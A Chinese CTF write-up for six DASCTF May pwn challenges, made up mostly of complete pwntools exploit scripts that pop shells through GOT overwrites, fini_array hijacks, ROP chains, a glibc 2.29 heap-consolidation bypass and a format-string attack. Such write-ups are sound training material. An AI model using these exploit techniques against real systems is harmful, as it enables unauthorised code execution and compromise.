DASCTF_May

TTTTTTTTCL,抱歉,告辞,打不动,再见,除了两个OJ盲打外的PWN题附件

Memory Monster I

任意写改got表,栈溢出检测报错时,会调用__stack_chk_fail函数,因为肯定是第一次调用,没有解析符号,所以改成backdoor就行

1
from pwn import*
2
p = process('./main')
3
p = remote('183.129.189.60',10083)
4
def m(address,content):
5
	p.sendafter('addr',address)
6
	p.sendafter('data:',content)
7
m(p64(0x404028) + '\x00'*0xC0,'\x4A\x12')
8
p.interactive()

下载

MAIN EXP

Memory Monster II

静态编译了,fini_array劫持

fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址

之后则可以形成一个循环链,然后任意地址写,可以在fini_array[2]之后构建ROP链,最后再将fini_array[0]改成leave_ret,fini_array[1]改成ret执行后续ROP链

1
from pwn import*
2
p = process('./main')
3
p = remote('183.129.189.60',10100)
4
def m(address,content):
5
	p.sendlineafter('addr:',p64(address))
6
	p.sendafter('data:',content)
7
8
m(0x4B80B0,p64(0x402CB0) + p64(0x401C1D))
9
pop_rdx_rsi = 0x44BAF9
10
mov_rax_rdx = 0x41B380
11
pop_rdi_ret = 0x401746
12
pop_rdx_ret = 0x448415
13
syscall = 0x46F745
14
binsh = 0x492895
15
leave_ret = 0x401CF3
16
ret = 0x401016
17
m(0x4B80B0 + 0x10,p64(pop_rdx_rsi) + p64(59) + p64(0))
18
m(0x4B80B0 + 0x10 + 0x18,p64(mov_rax_rdx) + p64(pop_rdi_ret) + p64(binsh))
19
m(0x4B80B0 + 0x10 + 0x18 + 0x18,p64(pop_rdx_ret) + p64(0) + p64(syscall))
20
m(0x4B80B0,p64(leave_ret) + p64(ret))
21
p.interactive()

下载

MAIN EXP

Memory Monster III

和第二个差不多,只是需要利用mprotect修改内存段的权限,最后写上shellcode并执行

1
from pwn import*
2
p = process('./main')
3
elf =ELF('./main')
4
context(arch='amd64',os='linux',log_level ='DEBUG')
5
#p = remote('183.129.189.60',10008)
6
def m(address,content):
7
	p.sendlineafter('addr:',p64(address))
8
	p.sendafter('data:',content)
9
10
m(0x4B50B0,p64(0x402CA0) + p64(0x401C1D))
11
12
pop_rdx_rsi = 0x44AB09
13
mov_rax_rdx = 0x41AE80
14
pop_rdi_ret = 0x401746
15
pop_rdx_ret = 0x447635
16
leave_ret = 0x401CF3
17
ret = 0x401016
18
mprotect = 0x448420
19
read = 0x447620
20
21
shell_a = 0x4BC100
22
shell = asm(shellcraft.sh())
23
m(0x4B50B0 + 0x10,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi))
24
m(0x4B50B0 + 0x10 + 0x18,p64(0x200) + p64(shell_a) + p64(read))
25
m(0x4B50B0 + 0x10 + 0x18 + 0x18,p64(pop_rdi_ret) + p64(shell_a -0x100) + p64(pop_rdx_rsi))
26
m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18,p64(7) + p64(0x1000) + p64(mprotect))
27
m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 + 0x18,p64(shell_a))
28
m(0x4B50B0,p64(leave_ret) + p64(ret) + p64(pop_rdi_ret))
29
30
p.sendline(shell)
31
p.interactive()

下载

MAIN EXP

secret2

最多打开文件1000多次,就不能继续打开了,则随机值之后全是0,因此输入8个0字节就行通过memcmp检测

1
from pwn import*
2
p = process('./main')
3
#context.log_level ='DEBUG'
4
p = remote('183.129.189.60',10051)
5
elf =ELF('./main')
6
pop_rdi_ret = 0x40161B
7
pop_rsi_r15 = 0x0401619
8
flag_address = 0x4021DF
9
gadget_I = 0x401612
10
gadget_Ii = 0x4015F8
11
payload  = '\x00'*(1+8) + p64(pop_rdi_ret) + p64(flag_address) + p64(pop_rsi_r15) + p64(0)*2 + p64(elf.plt['open'])
12
payload += p64(gadget_I) + p64(0) + p64(1)
13
payload += p64(elf.got['read'])
14
payload += p64(0)
15
payload += p64(elf.bss() + 0x50)
16
payload += p64(0x30)
17
payload += p64(gadget_Ii)
18
payload += p64(0)*7
19
payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x50) + p64(elf.plt['puts'])
20
p.sendlineafter("What's your name? ",payload)
21
22
for i in range(1100):
23
	p.sendlineafter('Secret:','FMYY')
24
for i in range(234):
25
	p.sendafter('Secret:',p64(0))
26
p.interactive()

下载

MAIN EXP

happyending

点击此链接,几乎是一个模板,套用改改就行
2.29对后向合并添加了一个检测

1
/* consolidate backward */
2
if (!prev_inuse(p)) {
3
  prevsize = prev_size (p);
4
  size += prevsize;
5
  p = chunk_at_offset(p, -((long) prevsize));
6
  if (__glibc_unlikely (chunksize(p) != prevsize))
7
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
8
  unlink_chunk (av, p);

会对欲合并的块的size与欲prevsize进行一个判断,这种方法直接导致以前的后向合并不能用了
然后有师傅利用large bin、small bin、fastbin中chunk残留信息,并爆破倒数第二个字节的半个字节从而伪造一个可以chunk

1.large bin chunk放入large bin,如果只有一个,那么其nextsize指针都指向自己,如果爆破半个字节,将fd_next_size指向到一个可控制bk的块上
2.small bin申请,其bk会残留指针,如果修改次块的bk中最后一个字节,令其指向伪造的chunk
  且之前fd_next_size修改一个字节指向此small bin chunk,则构建了FD->bk == victim;
3.将保存伪造的chunk头的块释放到fastbin,如果当前fastbin中已经有一个块,则会在fd写上堆地址,同样部分修改,令BK->fd == victim绕过
1
from pwn import*
2
context.log_level ='DEBUG'
3
def new(size,content):
4
	p.sendlineafter('>','1')
5
	p.sendlineafter('length :',str(size))
6
	p.sendafter('them!',content)
7
def free(index):
8
	p.sendlineafter('>','2')
9
	p.sendlineafter('debuff :',str(index))
10
def show(index):
11
	p.sendlineafter('>','3')
12
	p.sendlineafter('blessing :',str(index))
13
p = process('./main')
14
#p = remote('183.129.189.60',10106)
15
libc =ELF('./libc-2.29.so')
16
for i in range(4):
17
	new(0x1000,'FMYY')
18
new(0x1000-0x3E0,'FMYY')
19
#--large bin
20
for i in range(7):
21
	new(0x28,'FMYY')
22
23
new(0xB20,'FAKE')
24
new(0x10,'FMYY')
25
free(12)
26
27
new(0x1000,'FMYY')
28
29
new(0x28,p64(0) + p64(0x521) + '\x40')
30
#--
31
32
#-- small bin 
33
new(0x28,'F') #15
34
new(0x28,'M') #16
35
new(0x28,'Y') #17
36
new(0x28,'Y') #18
37
38
for i in range(7): #5 - 11
39
	free(5+i)
40
41
free(17)
42
free(15)
43
44
for i in range(7):
45
	new(0x28,'FMYY')
46
47
new(0x400,'FMYY')
48
49
new(0x28,p64(0) + '\x20')
50
51
new(0x28,'clear') # clear the small bin
52
#--
53
54
#--fast bin
55
for i in range(7):
56
	free(5 + i)
57
free(16)
58
free(14)
59
60
for i in range(7):
61
	new(0x28,'FMYY')
62
63
new(0x28,'\x20')
64
new(0x28,'clear')
65
#--
66
new(0x28,'Target') #20
67
new(0x5F8,'Last')
68
#new(0x100,'FMYY')
69
free(20)
70
new(0x28,'\x00'*0x20 + p64(0x520))
71
free(21)
72
73
new(0x40,'FMYY')
74
show(16)
75
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook']
76
log.info('LIBC:\t' + hex(libc_base))
77
78
free_hook = libc_base + libc.sym['__free_hook']
79
rce = libc_base + 0x106EF8
80
system = libc_base + libc.sym['system']
81
free(21)
82
free(14)
83
84
new(0x28,'\x00'*0x10 + p64(free_hook))
85
86
new(0x40,'/bin/sh\x00')
87
new(0x40,p64(system))
88
89
free(21)
90
p.interactive()

下载

MAIN EXP

easybabystack [AFTER]

C语言白学了,第一次见到这种用法 格式化字符串中 *$连用表示取对应偏移位置的值

1
from pwn import*
2
context.log_level ='DEBUG'
3
p= process('./main')
4
p = remote('183.129.189.60',10001)
5
p.sendlineafter('username:','%*18$d%5$n')
6
#gdb.attach(p,"b *0x401512")
7
p.sendline('1')
8
pop_rdi_ret = 0x401733
9
pop_rsi_r15 = 0x401731
10
binsh  =0x404090
11
system = 0x401110
12
read_got = 0x404038
13
gadget_I = 0x40172A
14
gadget_Ii = 0x401710
15
payload  = 'U'*0x118
16
payload += p64(gadget_I)
17
payload += p64(0)
18
payload += p64(1)
19
payload += p64(0)
20
payload += p64(binsh)
21
payload += p64(8)
22
payload += p64(read_got)
23
payload += p64(gadget_Ii)
24
payload += p64(0)*7
25
payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
26
p.recvuntil('message')
27
p.sendline(payload)
28
p.send('/bin/sh\x00')
29
p.interactive()

下载

MAIN EXP

Contents
  1. 1. Memory Monster I
    1. 1.1. 下载
  2. 2. Memory Monster II
    1. 2.1. 下载
  3. 3. Memory Monster III
    1. 3.1. 下载
  4. 4. secret2
    1. 4.1. 下载
  5. 5. happyending
    1. 5.1. 下载
  6. 6. easybabystack [AFTER]
    1. 6.1. 下载
|